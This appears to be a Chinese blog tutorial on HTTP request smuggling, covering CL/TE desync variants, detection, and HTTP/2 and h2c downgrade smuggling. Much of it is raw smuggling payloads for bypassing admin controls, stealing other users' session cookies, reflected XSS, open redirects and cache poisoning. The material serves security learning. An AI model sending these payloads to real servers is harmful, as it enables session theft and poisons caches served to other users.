HTTP请求走私及其一系列

参考文章:
https://www.anquanke.com/post/id/249446
https://www.anquanke.com/post/id/220996
https://www.anquanke.com/post/id/246516
https://paper.seebug.org/1048/

HTTP请求走私

产生原因

在http 1.1中加了keep-Alive和Pipeline

知识点

1.
Content-Length <length>

消息的长度,用十进制数字表示的八位字节的数目

2.

Transfer-Encoding 消息首部指明了将 entity 安全传递给用户所采用的编码形式

chunked

数据以一系列分块的形式进行发送

3.

Keep-Alive 是一个通用消息头,允许消息发送者暗示连接的状态,还可以用来设置超时时长和最大请求数

http请求中加入Connection: Keep-Alive

接收完这次HTTP请求后,不要关闭TCP链接,后面对相同目标服务器的HTTP请求,重用这一个TCP链接

http 1.1中默认开启

keep-alive之后有了Pipeline,就是说客户端可以像流水线一样发送HTTP请求(重点)

浏览器默认不开启,服务器都提供了对Pipeline支持

4.

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ez8P7Cr9-1653728635077)(…/图片/1570691716000-Topology.png)]

一般反向代理服务器与后端服务器会重用TCP链接

当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求

CL不为0的GET请求

所有不携带请求体的HTTP请求都有可能受此影响

假设前端代理服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的Content-Length,不进行处理。这就有可能导致请求走私

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n

GET / secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n

前端服务器收到该请求,通过读取Content-Length,判断这是一个完整的请求,然后转发给后端服务器,而后端服务器收到后,因为它不对Content-Length进行处理,由于Pipeline的存在,它就认为这是收到了两个请求,分别是

第一个
GET / HTTP/1.1\r\n
Host: example.com\r\n

第二个
GET / secret HTTP/1.1\r\n
Host: example.com\r\n

CL-CL

当服务器收到的请求中包含两个Content-Length,而且两者的值不同时,需要返回400错误

但是总有服务器不会严格的实现该规范,假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回400错误,但是中间代理服务器按照第一个Content-Length的值对请求进行处理,而后端源站服务器按照第二个Content-Length的值进行处理

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a

中间代理服务器获取到的数据包的长度为8,后端服务器获取到的数据包长度为7,缓冲区去还剩余一个字母a

对于后端服务器来说,这个a是下一个请求的一部分

于是第二个请求

GET /index.html HTTP/1.1\r\n
Host: example.com\r\n

变成了

aGET /index.html HTTP/1.1\r\n
Host: example.com\r\n

两个Content-Length这种请求包太过于理想化,一般的服务器都不会接受这种存在两个请求头的请求包

CL-TE

如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时,在处理的时候必须忽略Content-Length

前端代理服务器只处理Content-Length这一请求头,而后端服务器会遵守RFC2616的规定,忽略掉Content-Length,处理Transfer-Encoding这一请求头

POST / HTTP/1.1\r\n
Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=E9m1pnYfbvtMyEnTYSe5eijPDC04EVm3\r\n
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
G

由于前端服务器处理Content-Length,所以这个请求对于它来说是一个完整的请求,请求体的长度为6,也就是

0\r\n
\r\n
G

当请求包经过代理服务器转发给后端服务器时,后端服务器处理Transfer-Encoding,当它读取到0\r\n\r\n时,认为已经读取到结尾了,但是剩下的字母G就被留在了缓冲区中

于是下一个请求

GPOST / HTTP/1.1\r\n
Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n
......

TE-CL

当收到存在两个请求头的请求包时,前端代理服务器处理Transfer-Encoding这一请求头,而后端服务器处理Content-Length请求头

POST / HTTP/1.1\r\n
Host: acf41f441edb9dc9806dca7b00000035.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifew\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

前端服务器处理Transfer-Encoding,当其读取到0\r\n\r\n时,认为是读取完毕了,此时这个请求对代理服务器来说是一个完整的请求,然后转发给后端服务器,后端服务器处理Content-Length请求头,当它读取完12\r\n之后,就认为这个请求已经结束了,后面的数据就认为是另一个请求了,也就是

GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

TE-TE

当收到存在两个请求头的请求包时,前后端服务器都处理Transfer-Encoding请求头,前后端服务器不是同一种

对发送的请求包中的Transfer-Encoding进行某种混淆操作,从而使其中一个服务器不处理Transfer-Encoding请求头。从某种意义上还是CL-TE或者TE-CL

POST / HTTP/1.1\r\n
Host: ac4b1fcb1f596028803b11a2007400e4.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

寻找HTTP请求走私

利用⏲计时技术发现CL.TE

同时存在CL头和TE头时,如果请求包正文的长度大于CL头指定的长度,则会导致请求包只有CL头指定长度内的内容,从而导致后端服务器因为采用TE头处理而一直等待后续请求包,最终会导致超时

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

利用⏲计时技术发现CL.TE

正文是被空行分隔的两部分则也会导致仅发出不完整的请求导致后端服务器在利用CL头接收请求包时等待,直到超时,则可以证明存在TE.CL漏洞

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6

0

X

针对TE.CL漏洞的利用计时技术的测试可能会干扰其他应用程序用户

利用响应差异确认HTTP请求走私

发送两次请求,第一个是魔改的请求包,第二个是正常的请求,这样就能用第一个请求干扰后端服务器对第二个请求包的处理

利用响应差异确认CL.TE漏洞

在第一个请求包结束以后加入一个空行再开始编写第二个请求包

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked

e
q=smuggling&x=
0

GET /404 HTTP/1.1
Foo: x

接入下一个请求

GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

利用响应差异确认TE.CL漏洞

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

接入下一个请求

GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

x=
0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

利用HTTP请求走私漏洞

一些应用系统的前端配置了某些安全控制,以决定是否允许将请求转发到后端服务器,如果请求通过了前端的安全控制,则会被后端服务器无条件接受,这样的话就可以利用HTTP走私请求将恶意的请求包夹带在正常的请求包中送到后端服务器

例如前端服务器禁止转发/admin

POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com

会被拆分为两个请求包第二个请求包请求的/admin被拆出来,成功转发

利用CL.TE绕过前端安全控制

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dznK2ouX-1653728706158)(…/图片/t01df963c3c036674e7.png)]

利用TE.CL绕过前端安全控制

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gSXJtEUI-1653728706160)(…/图片/t01c478f73e5fb2684b.png)]

回显前端对请求重写的过程

有一些应用系统会在将请求转发到后端服务器之前对请求做一些重写,如

  • 终止TLS连接并加入一些头部描述使用的协议和加密算法
  • 添加一个包含用户IP地址的X-Forwarded-For头部
  • 基于用户会话令牌决定用户ID并添加一个识别用户的头
  • 添加一些其他攻击感兴趣的敏感信息

有时候如果走私请求缺少由前端服务器添加的头的话可能会导致走私请求攻击失败,所以我们需要利用某些手段回显前端服务器重写的方式,如

  • 寻找一个可以把请求的参数值反馈到响应中的POST请求
  • 移动参数以使它们会反馈在消息正文中的最后面
  • 构造发往后端服务器的走私请求,紧接着一个普通的请求以使得到回显

这样的一个请求包

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

email=wiener@normal-user.net

响应会包含下面这条
<input id="email" value="wiener@normal-user.net" type="text">

可以通过HTTP请求走私攻击获得重写的结果,像这样

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

email=POST /login HTTP/1.1
Host: vulnerable-website.com
...

请求将由前端服务器重写以包含额外的头,然后后端服务器将处理走私的请求并将重写的第二个请求视为电子邮件参数的值,像这样

<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...

最后的请求正在被重写,我们不知道什么时候结束。CL头中的值将决定后端服务器相信该请求的时间。如果值设置得太短,就只会收到部分重写的请求;如果设置太长,后端服务器将超时等待请求完成。解决的方法就是猜测一个比提交的请求大一点的初始值,然后逐渐增大该值直到得到所有的信息

由前端重写的请求包会被反馈在响应中,说明我们成功通过HTTP请求走私漏洞获取到了前端服务器用来指定来源IP的字段名,我们就可以伪造成本地用户了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SFe0bzzC-1653728706160)(…/图片/t01c1ff8e67c854ec3a.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-B0ir6Wyd-1653728706161)(…/图片/t013c68cef1e7cffd33.png)]

回显窃取其他用户请求

有些应用程序包含任何允许存储和检索文本数据的功能,则可以利用HTTP请求走私来窃取其他用户的请求

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net

我们可以通过HTTP请求走私攻击将数据存储请求走私到后端,像这样

GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 324

0

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=

当后端服务器处理另一个用户的请求时,它会附加到走私的请求中,结果用户的请求被存储,包括受害用户的会话cookie和任何其他敏感数据,像这样

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
...

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ebSqvOur-1653728706161)(…/图片/t013b467f3f03a91245.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2MBfPLGr-1653728706162)(…/图片/t0170d652db42e38907.png)]

触发反射型xss

优点

  • 它不需要与受害者用户进行交互
  • 它可用于在请求的某些部分中利用XSS,如在HTTP请求头中
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X

下一个用户的请求将附加到走私的请求中,就会在响应中收到反射型XSS payload

利用HTTP请求走私将页面内重定向转变为开放重定向

GET /home HTTP/1.1
Host: normal-website.com

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

这是一个页面内重定向的请求,但是我们可以利用HTTP请求走私使其跳转到其他任意域,例如

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

后续的请求会被影响成这样

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

此处,用户请求的是由网站上的页面导入的JS文件,攻击者可以通过在响应中返回他们自己的JS来完全危害受害用户

利用HTTP请求走私发动web缓存投毒

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /static/include.js HTTP/1.1
Host: vulnerable-website.com

走私的请求到达后端服务器,后端服务器像以前一样通过开放重定向进行响应。服务器会缓存/static/include.js的响应。

GET /static/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

当其他用户请求此 URL 时,他们会收到指向攻击者网站的重定向

利用HTTP请求走私发动Web缓存欺骗

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked

0

GET /private/messages HTTP/1.1
Foo: X

转发到后端服务器的另一个用户的下一个请求将附加到走私请求,包括会话cookie和其他头

GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...

服务器会缓存/static/some-image.png的响应,攻击者也能接收到这份缓存

GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 200 Ok
...
<h1>Your private messages</h1>
...

但是这种攻击需要大量的请求才可能成功

HTTP/2 降级走私

产生

HTTP/1 中,每个消息主体的长度通过内容长度(Content-Length)或传输编码(Transfor-Encoding)header表示,HTTP/2 中,这些header是多余的,因为使用二进制流进行传输,没有文本的概念,消息的内容都是由数据帧(Data Frame)进行传递

当反代服务器使用HTTP/2,但是后端服务器使用HTTP/1.1 可以接收到CL或TE 请求就会出现降级走私

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UZYcMFFO-1653728740790)(…/图片/t014915453b70bec0ae.png)]

转换为HTTP/1.1变成

POST /n HTTP/1.1
Host: www.netflix.com
Content-Length: 4
abcdGET /n HTTP/1.1
Host: 02.rs?x.netflix.com
Foo: bar

在HTTP/2中可以有CL,但是对于Content-Length的值和DATA frame的长度不一致的情况,应该视为格式错误,中介服务器不得转发

H2.CL

       :method POST
         :path /n
Content-Length 4
abcdGET /n HTTP/1.1
Host: 02.rs?x.netflix.com
Foo: bar

后面接一个

       :method GET
         :path /anything
    :authority netflix.com

变成

POST /n HTTP/1.1
Host: www.netflix.com
Content-Length: 4
abcdGET /n HTTP/1.1
Host: 02.rs?x.netflix.com
Foo: barGET /anything HTTP/1.1
Host: www.netflix.com
POST /n HTTP/1.1
Host: www.netflix.com
Content-Length: 4
abcd
GET /n HTTP/1.1
Host: 02.rs?x.netflix.com
Foo: barGET /anything HTTP/1.1
Host: www.netflix.com

使得第二次请求被第一请求拼接产生错误 ,类似于HTTP/1.1中的CL-TE

CVE-2021-21295

H2.TE

header name 注入

HTTP/2不允许TE 字段,需要添加\r\n进行TE注入

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eRXvBVSX-1653728740791)(…/图片/t0192b5711192353750.png)]

转换HTTP/1.1后,数据包为

GET / HTTP/1.1
foo: bar
transfer-encoding: chunked
host: ecosystem.atlassian.net

例子:

          :method POST
            :path /identitfy/XUI
       :authority id.b2b.oath.com
          foo:bar chunked
transfer-encoding
0

GET /oops HTTP/1.1
Host: psres.net
Content-Length: 10

x=

没有读完,拼接下一个请求

Herder注入

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5ojmTFEQ-1653728740791)(…/图片/t01c5dad6a22ce1af79.png)]

通过转换,其HTTP/1.1请求为

POST / HTTP/1.1\r\n
Host: start.mozilla.org\r\n
Foo: b\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 77\r\n
\r\n
0\r\n
\r\n
GET / HTTP/1.1\r\n
Host: evil-netlify-domain\r\n
Content-Length: 5\r\n
\r\n
x=

HTTP/2中规定任何请求或响应包含头字段值中不允许的字符(CRLF,0x0)必须被视为格式错误,但并不是多有中间件都遵守此规定

请求行注入

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AdHhSDv7-1653728740791)(…/图片/t015d5957aafa566c74.png)]

将走私请求直接注入到method中

GET / HTTP/1.1
transfer-encoding: chunked
x: x /ignored HTTP/1.1
Host: eco.atlassian.net

H2.X

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Hb3sL60i-1653728740792)(…/图片/t015e2bf61ed5102932.png)]

GET / HTTP/1.1
Foo: bar
Host: ecosystem.atlassian.net
GET /robots.txt HTTP/1.1
X-Ignore: x
Host: ecosystem.atlassian.net\r\n
\r\n

HTTP/ H2C请求走私

h2c:HTTP/2 HTTP的标识

h2:HTTP/2 HTTPS的标识

代理通过TLS将h2c转发到后端进行协议升级,反向代理服务器环境中,后端服务器仅知道客户端是Cleartext还是TLS(具有h2ch2等标识),因此它将TLS连接确定为HTTP,并在TLS连接上创建TCP隧道,由于客户端不是HTTP,但仍可以通过TLS使用现有连接,不受Proxy的ACL策略的影响,于TCP Tunnel中的请求可以进行HTTP操作,因此可以访问被阻止的资源

流程:

1 .客户端将HTTP/1.1升级请求发送到反向代理(发送了错误的标头)

2 .代理将请求转发到后端,后端返回101 Swiching协议的响应,并准备接收HTTP/2通信

3 .代理从后端服务器收到101响应时,将创建TCP隧道

4 .客户端从代理接收到101响应时,将重新用现有TCP连接并执行HTTP/2初始化

5 .客户端使用HTTP/2多路复用,发送针对受限资源的违法请求

6 .由于代理服不监视TCP通信(HTTP通过策略),因此它违法求发送到受限页面

7 .服务器响应,转发到TLS隧道,实现走私

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值